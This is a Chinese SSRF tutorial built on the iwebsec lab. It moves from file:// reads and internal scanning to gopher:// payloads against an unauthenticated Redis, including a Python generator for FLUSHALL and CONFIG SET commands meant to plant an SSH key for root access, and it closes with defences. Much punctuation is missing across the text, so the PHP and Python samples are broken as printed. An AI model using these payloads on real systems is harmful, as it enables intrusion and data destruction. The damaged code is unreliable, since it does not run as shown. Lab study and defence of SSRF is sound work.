从原理到实战:利用iwebsec靶场深入理解SSRF漏洞与Gopher协议攻击 1. 项目概述为什么SSRF是每个Web安全新手必须攻克的堡垒如果你刚开始接触Web安全可能会被各种漏洞名词搞得眼花缭乱SQL注入、XSS、文件上传……但有一个漏洞它像一把能打开内网大门的“万能钥匙”攻击者可以利用它从外部访问到服务器内部的敏感系统这就是SSRFServer-Side Request Forgery服务端请求伪造。听起来有点抽象简单说就是攻击者能“欺骗”服务器让它代替攻击者去发起一个HTTP请求而这个请求的目标往往是攻击者自己无法直接访问的内部网络或本地服务。我刚开始学安全时也觉得SSRF原理复杂各种协议file、gopher、dict让人头大。直到我找到了iwebsec靶场一个专门为国内学习者设计的、环境纯净的漏洞练习平台。用它来复现SSRF尤其是从最基础的file://协议读取本地文件到利用gopher://协议构造复杂攻击载荷去攻击内网Redis数据库整个学习路径清晰得就像爬楼梯一步一个脚印。这次我就带你用iwebsec靶场把SSRF从原理到实战尤其是file和gopher这两个核心协议彻底搞明白。无论你是刚入门的安全爱好者还是想巩固基础的开发者跟着走一遍你不仅能看懂漏洞更能亲手把它“挖”出来。2. SSRF漏洞核心原理与协议武器库拆解在动手之前我们必须先弄清楚SSRF到底是怎么发生的以及我们手上有哪些“武器”协议可以用。很多教程一上来就讲利用但如果不明白背后的“为什么”遇到变种漏洞还是会懵。2.1 SSRF发生的根本原因过度的服务器“信任”想象一下你是一个网站的后台管理员网站有个功能是“一键抓取网页缩略图”。用户输入一个图片网址你的服务器就去把这个图片下载下来处理成缩略图。这个功能本身没问题。但问题出在你的服务器太“老实”了它对用户输入的URL没有任何戒备心。攻击者这时输入的不是http://example.com/image.jpg而是file:///etc/passwdLinux系统密码文件或者http://192.168.1.1/admin你服务器内网的管理后台地址。由于服务器执行这个下载请求时通常拥有较高的权限并且处于内部网络环境它就能成功访问到这些本应被防火墙隔离的资源然后把内容返回给攻击者。这就是SSRF最经典的场景服务器未对用户可控的URL参数进行充分校验和过滤导致其能够被用来发起对内网或本地资源的请求。在iwebsec靶场中这种场景被模拟得非常典型。靶场通常会提供一个URL输入框背后是一个curl或file_get_contents的函数调用这正是SSRF最常见的触发点。2.2 攻击协议详解从“窥探”到“操控”的升级SSRF的强大很大程度上源于服务器支持多种URL协议。不同的协议能让我们实现不同级别的攻击效果。1. file协议内网的“眼睛”file://协议用于访问本地文件系统。这是SSRF最基础、最直接的利用方式。作用读取服务器上的敏感文件。比如配置文件/etc/passwd,/proc/self/environ、源码./index.php、密钥文件等。利用格式file:///绝对路径。例如file:///etc/passwd。在Windows系统上可能是file:///C:/Windows/win.ini。为什么能成功因为服务器进程如Apache、PHP-FPM运行时具有读取这些文件的权限。当它代表我们去请求file://协议时实际上就是用自身的权限去读文件。注意现代PHP环境默认可能禁用file://协议封装器或者在allow_url_fopen和allow_url_include配置上做了限制。但iwebsec靶场为了教学通常会开启这些配置这正是我们练习的好机会。2. http/https协议探测与攻击内网Web服务这是最直观的协议用于探测或攻击内网的其他Web应用。作用端口扫描通过构造http://192.168.1.1:8080这样的请求根据返回结果连接超时、拒绝连接、返回正常页面等来判断内网某IP的某个端口是否开放。攻击内网脆弱应用如果内网存在一个未授权访问的Jenkins、一个弱口令的Confluence或者一个存在漏洞的Weblogic我们可以通过SSRF直接发起攻击。利用技巧结合Burp Suite的Intruder模块可以自动化进行内网IP和端口的爆破扫描。3. dict协议探测端口与服务指纹dict://协议用于访问DICT字典服务器但它有一个特性在连接时会先返回服务的banner信息。作用快速探测目标端口是否开放以及获取服务指纹。例如dict://192.168.1.1:6379/info会尝试连接该IP的6379端口Redis默认端口如果端口开放我们就能在返回的错误信息或连接交互中看到Redis的标识。格式dict://target-ip:port/word。这个word可以是任意内容如info、stats等目的是触发一次连接。4. gopher协议SSRF的“王牌”实现协议无关攻击gopher协议是一个古老的互联网协议但它却是SSRF攻击中的“瑞士军刀”。它支持发送任意的TCP数据包这意味着我们可以用它来构造HTTP、Redis、MySQL、FTP等多种协议的攻击请求。作用攻击内网的非HTTP服务。最经典的案例就是攻击无认证的Redis服务实现未授权访问甚至写入Webshell。强大之处它不关心目标服务是什么协议只要我们能按照目标协议的原始TCP数据流格式构造出正确的数据包并通过gopher协议发送出去就能与目标服务进行交互。挑战手工构造gopher数据包非常复杂需要精确计算每个字符的URL编码并且要了解目标协议的通信格式。这也是本次实战的重点和难点。理解了这些协议我们就有了清晰的攻击思路先通过file或http协议确认漏洞存在并获取一些基础信息如内网IP段再尝试用dict探测关键端口最后用gopher这把“万能钥匙”发起精准攻击。3. iwebsec靶场环境搭建与基础SSRF复现理论说得再多不如亲手操作一遍。我们首先在本地搭建iwebsec靶场并完成最基础的SSRF漏洞验证。3.1 靶场部署与漏洞点定位我推荐使用Docker来部署iwebsec这是最干净、最不容易出错的方式。# 1. 拉取iwebsec靶场镜像 docker pull iwebsec/iwebsec # 2. 运行靶场容器将本地80端口映射到容器的80端口 docker run -d -p 80:80 --name iwebsec-ssrf iwebsec/iwebsec # 3. 查看容器运行状态 docker ps | grep iwebsec部署完成后在浏览器访问http://127.0.0.1你应该能看到iwebsec的导航界面。找到SSRF漏洞相关的关卡通常会有明确标注。进入SSRF漏洞关卡后你会看到一个典型的界面一个输入框一个提交按钮下方是回显区域。查看网页源码你会发现表单提交到一个PHP文件参数名可能是url、path或file。后端代码逻辑大致如下?php // 模拟漏洞代码 $url $_GET[url]; // 用户完全可控的参数 $content file_get_contents($url); // 危险函数未做任何过滤 echo $content; ?这就是我们的“攻击入口”。3.2 利用file协议读取服务器敏感文件我们的第一个实战目标利用file://协议读取服务器上的/etc/passwd文件证明SSRF漏洞存在。基础测试在输入框中尝试输入file:///etc/passwd然后提交。观察结果如果页面上显示了/etc/passwd文件的内容一堆以root:x:0:0...开头的用户信息那么恭喜基础SSRF漏洞存在深入利用/etc/passwd只是开始。你可以尝试读取其他敏感文件/proc/self/environ 有时会包含数据库密码、密钥等环境变量。/etc/hosts 查看服务器内部网络结构。/var/www/html/index.php 尝试读取网站源码寻找其他漏洞或数据库连接信息。C:\Windows\System32\drivers\etc\hosts(如果靶场是Windows环境但iwebsec通常是Linux)。实操心得在实际渗透测试中file://协议被禁用的情况很常见。如果遇到file://失效不要马上放弃。可以尝试使用完整的URL编码file:%2F%2F%2Fetc%2Fpasswd。尝试使用http://127.0.0.1或http://localhost来访问本地回环地址的服务这同样属于SSRF。利用一些URL解析器的特性比如http://127.0.0.1evil.com可能会被某些库解析为访问127.0.0.1。3.3 利用http协议进行内网探测在确认漏洞存在后我们假设这个服务器处于一个内网中这是非常常见的场景。我们的下一步就是探测这个内网里还有什么“好东西”。确定内网IP段通常内网IP段是192.168.x.x、10.x.x.x或172.16.x.x ~ 172.31.x.x。我们可以先读取/etc/hosts文件获取线索或者直接进行盲猜。构造探测Payload在输入框中尝试http://192.168.1.1。如果服务器返回连接超时或拒绝连接说明这个IP可能不存在或没开机。如果返回了其他错误如403 Forbidden甚至是一个正常的页面那就意味着我们找到了一个内网资产端口扫描假设我们发现了192.168.1.2这个IP。接下来可以探测它开放了哪些端口。例如http://192.168.1.2:8080(常见于Tomcat, Jenkins)http://192.168.1.2:6379(Redis但Redis是TCP协议直接HTTP访问会失败这里只是看连接反应)http://192.168.1.2:80(默认Web端口)由于手动测试效率太低我们可以把Burp Suite请出来。使用Burp Suite Intruder进行自动化内网探测在浏览器中配置代理指向Burp。在iwebsec靶场提交一个合法的HTTP请求比如http://example.com。在Burp的Proxy历史记录中找到这个请求右键发送到Intruder。在Intruder的Positions标签页清除所有自动标记然后手动将URL参数中的IP地址部分标记为Payload位置。例如将http://§192.168.1.1§:80中的IP部分标记。在Payloads标签页选择“Numbers”类型生成一个IP地址列表比如从192.168.1.1到192.168.1.254格式为192.168.1.§§。开始攻击。Burp会批量替换IP发起请求。通过观察响应长度、状态码我们可以快速筛选出存活的IP。对于存活的IP再针对常见端口80, 443, 8080, 8888, 6379, 27017等进行第二轮端口扫描。这个过程能让我们绘制出一张小小的内网地图。4. 进阶实战利用Gopher协议攻击内网Redis服务当我们通过探测发现内网有一台192.168.1.100的服务器开放了6379端口Redis默认端口并且Redis没有设置密码认证时真正的“大戏”就开场了。我们将使用SSRF中最强大的gopher协议来攻击这个Redis服务。4.1 Gopher协议原理与数据包构造gopher协议的攻击流程可以概括为将我们想发送给目标服务的原始TCP数据流进行特定格式的转换和编码然后通过存在SSRF漏洞的服务器发送出去。假设我们想向Redis发送一条命令SET mykey “hacked”。Redis的通信协议是RESPREdis Serialization Protocol。这条命令的原始TCP数据包RESP格式是这样的*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$6\r\nhacked\r\n我来解释一下*3表示这是一个包含3个元素的数组。\r\n是回车换行RESP协议的分隔符。$3表示下一个元素是长度为3的字符串。SET是命令本身。后面依次是键名mykey和值hacked的长度及内容。现在我们需要把这个数据包转换成gopher协议能识别的格式。gopher请求的格式是gopher://host:port/_TCP数据流其中TCP数据流需要满足每一行以\r\n结尾。整个数据流需要进行URL编码。所以我们的转换步骤如下在数据流前加上一个“哑行”因为gopher会忽略第一行通常是一个_或任意字符加\r\n。将整个字符串进行URL编码。最终构造出的Payload会非常长形如gopher://192.168.1.100:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%245%0D%0Amykey%0D%0A%246%0D%0Ahacked%0D%0A手工构造这个简直是噩梦。因此我们通常使用Python脚本来自动化这个过程。4.2 编写Gopher攻击Payload生成脚本下面是一个Python脚本示例用于生成攻击Redis的gopherpayload。我们的攻击目标是向Redis写入一个SSH公钥从而获取服务器权限前提是Redis以root权限运行且允许写入/root/.ssh/authorized_keys文件。import urllib.parse def generate_gopher_payload(host, port, data): 生成Gopher协议的Payload :param host: 目标主机 :param port: 目标端口 :param data: 要发送的原始TCP数据字节流 :return: 完整的Gopher URL # Gopher协议格式gopher://host:port/_ URL编码后的数据 # 数据需要先加上一个换行哑行因为gopher会忽略第一行 payload _ data # 对整个payload进行URL编码 encoded_payload urllib.parse.quote(payload) # 构建完整的gopher URL gopher_url fgopher://{host}:{port}/{encoded_payload} return gopher_url # 攻击步骤1清空Redis数据可选避免干扰 flushall_cmd b*1\r\n$8\r\nflushall\r\n # 攻击步骤2设置一个键值对其值是我们构造的恶意SSH公钥写入命令 # 我们先写入一个换行符因为Redis的config set dir命令需要 ssh_public_key b\n\nssh-rsa AAAAB3NzaC1yc2E...这里替换成你的公钥...\n\n # 将公钥转换成Redis可执行的命令序列。这里是一个简化示例实际需要构造多条命令。 # 通常步骤是 # 1. config set dir /root/.ssh # 2. config set dbfilename authorized_keys # 3. set x “\n\n公钥内容\n\n” # 4. save # 由于构造完整的攻击链命令较复杂这里给出一个关键命令的生成示例设置目录 config_dir_cmd b*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$11\r\n/root/.ssh\r\n # 生成攻击第一个步骤的gopher payload target_host 192.168.1.100 target_port 6379 gopher_payload_flush generate_gopher_payload(target_host, target_port, flushall_cmd.decode(latin-1)) gopher_payload_config generate_gopher_payload(target_host, target_port, config_dir_cmd.decode(latin-1)) print(用于flushall的Gopher Payload:) print(gopher_payload_flush) print(\n用于设置目录的Gopher Payload:) print(gopher_payload_config) # 注意实际攻击时需要按顺序将多个payloadflushall, set dir, set dbfilename, set public_key, save依次通过SSRF漏洞提交。这个脚本的核心是generate_gopher_payload函数它完成了数据格式转换和URL编码。在实际攻击中你需要按照flushall-config set dir-config set dbfilename-set xxx \n\n公钥\n\n-save的顺序生成5个对应的Payload并依次在iwebsec的漏洞点提交。4.3 在iwebsec靶场中实施Gopher攻击现在我们将脚本生成的Payload应用到靶场中。环境确认确保你的iwebsec靶场关卡支持gopher协议通常iwebsec的SSRF关卡会开启。可以先用一个简单的Payload测试比如gopher://127.0.0.1:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A如果返回错误或连接信息说明协议支持。实施攻击运行上面的Python脚本将target_host改为你探测到的内网Redis IP例如192.168.1.100。脚本会输出一串长得离谱的URL。复制第一个flushall的URL。将其粘贴到iwebsec靶场的SSRF漏洞输入框中提交。观察响应。如果Redis服务存在且无认证这个命令会清空Redis数据库服务器可能会返回一个OK\r\n的响应经过URL编码后显示在页面上或者是一个连接相关的错误。请注意在生产环境中绝对不要对非授权目标进行flushall操作这是破坏性的然后按顺序提交后续的Payload设置目录、设置文件名、写入公钥、保存。攻击结果验证如果所有步骤都成功执行那么公钥就被写入了目标服务器的/root/.ssh/authorized_keys文件。此时你可以尝试用对应的私钥通过SSH连接192.168.1.100如果成功就意味着你通过SSRF漏洞间接获得了内网一台服务器的最高权限。这个过程清晰地展示了SSRF如何从一个简单的“读文件”漏洞演变成通往整个内网的“桥梁”最终导致严重的内网横向移动和数据泄露。5. 常见问题、防御方案与实战心得走完了整个攻击流程我们不仅要会“攻”更要理解如何“防”。同时把实战中容易踩的坑总结一下能让你以后的路更顺。5.1 实战中遇到的典型问题与排查技巧在复现过程中你几乎一定会遇到下面这些问题问题现象可能原因排查思路与解决方案提交file:///etc/passwd无回显1. PHP配置禁用了file://封装器。2. 函数被禁用如allow_url_fopenOff。3. 存在基础过滤如检查file关键字。1. 尝试http://127.0.0.1看是否通确认SSRF漏洞是否存在。2. 尝试URL编码或双重编码file:%2F%2F%2Fetc%2Fpasswd。3. 尝试使用其他协议如http访问本地文件http://localhost/etc/passwd需要特定配置。gopherpayload提交后无任何反应或报错1. 服务器不支持gopher协议。2. Payload构造错误格式、编码问题。3. 目标服务如Redis不存在、端口不对或需要认证。1. 先用一个极简的gopher请求测试协议支持性如访问一个已知的HTTP端口并观察响应。2.使用网络工具如nc本地模拟Redis服务先测试Payload的正确性。这是最关键的一步3. 检查Python脚本生成的Payload确保换行符\r\n被正确编码为%0D%0A。攻击Redis时config set dir命令失败1. Redis运行在保护模式或低权限下无法写入系统目录。2. Redis版本较高默认禁止了一些危险命令。1. 尝试写入Web目录如/var/www/html然后写入Webshell。2. 尝试其他攻击方式如主从复制RCE等。Burp Intruder扫描内网时速度极慢或大量超时1. 存在网络延迟或防火墙。2. 靶场服务器或Docker容器资源不足。3. 扫描的IP范围或端口范围太大。1. 增加超时时间在Intruder的Options里设置。2. 缩小扫描范围优先扫描常见IP段如192.168.0/1/2.1-254和关键端口80, 443, 8080, 22, 3306, 6379。3. 使用更高效的扫描模式如Sniper或Battering ram。核心排查技巧本地模拟调试。在真正攻击靶场或测试目标前一定要在本地搭建一个模拟环境。比如在本机用Docker运行一个无认证的Redis然后用你的Python脚本生成Payload直接在本机用curl命令测试这个Payload是否能成功操作Redis。确认无误后再将Payload用于SSRF测试。这能节省你大量猜测和等待的时间。5.2 SSRF漏洞的防御方案解析知道了怎么攻击防御思路就清晰了。防御SSRF的核心原则是对用户输入的所有URL进行严格的“白名单”校验并限制服务器请求的能力。输入校验与过滤最前端协议白名单只允许http和https协议。在代码中显式检查URL的scheme拒绝file、gopher、dict、ftp等危险协议。域名/IP黑名单/白名单黑名单拒绝访问内网IP段127.0.0.0/810.0.0.0/8172.16.0.0/12192.168.0.0/16和本地回环地址localhost。但黑名单可能被绕过如IPv6、域名重绑定攻击。白名单推荐如果业务明确只允许访问几个固定的外网域名那么只允许这些域名通过校验。URL解析一致性使用编程语言标准的URL解析库如Python的urlparse Java的java.net.URI来解析URL获取其host然后解析这个host为IP地址判断该IP是否属于内网。避免使用正则表达式等可能被绕过的简单匹配。请求过程控制中间层禁用不必要的URL封装器在PHP中设置allow_url_fopen Off和allow_url_include Off。这能从根本上阻断很多协议的攻击。使用安全的网络请求库很多语言的安全库如Java的HttpURLConnection Python的requests库默认会阻止对内部地址的请求。避免使用curl命令或原生socket进行不受控的请求。设置请求超时和重定向限制防止攻击者利用SSRF进行DoS攻击或通过重定向链访问到内网资源。网络架构隔离最底层划分网络区域将面向公网的应用服务器和内部敏感业务服务器部署在不同的VPC或子网中并通过严格的安全组/防火墙策略进行隔离确保即使应用服务器被攻陷也无法访问到核心内网。使用跳板机或代理如果业务确实需要从服务器发起外部请求可以统一通过一个配置了严格出口过滤的代理服务器或跳板机进行在该代理上实施IP白名单策略。防御是一个多层次的工作代码层的校验是基础网络层的隔离是最后也是最坚固的防线。5.3 个人实战心得与延伸思考通过这次在iwebsec靶场从file到gopher的完整复现我最深的体会是SSRF是一个“牵一发而动全身”的漏洞。它从一个不起眼的输入点开始却可能引爆整个内网的安全防线。对于开发者而言任何一处从用户输入获取URL并发起请求的地方都必须打起十二分精神。对于学习者我有几个建议不要死记硬背Payload理解gopher协议转换的原理比记住一个攻击Redis的Payload重要一百倍。明白了原理你才能应对各种变种和过滤。工具只是辅助Python脚本、Burp Suite都是好帮手但不要成为“工具小子”。要清楚每一步操作在底层发生了什么。关注漏洞的“上下文”在实际场景中SSRF可能出现在图片处理、PDF生成、邮件抓取、远程API调用等各种功能里。学会通过功能点去推测可能存在的SSRF是漏洞挖掘的关键。延伸学习掌握了基础的SSRF后可以研究更高级的技巧比如URL解析差异与绕过利用不同库浏览器、curl、urllib解析URL的差异来绕过过滤。DNS重绑定攻击一种非常巧妙的绕过IP黑名单的技术。与云服务元数据API结合在云环境AWS, GCP, Azure中利用SSRF访问云服务器的元数据服务获取临时密钥后果极其严重。最后在iwebsec靶场练习时不妨多看看关卡提供的源码。理解漏洞代码是怎么写的你才能更好地在代码审计中识别它。安全之路知其然更要知其所以然。当你能够独立完成这样一次完整的漏洞复现和原理剖析时SSRF这个知识点才算真正被你拿下了。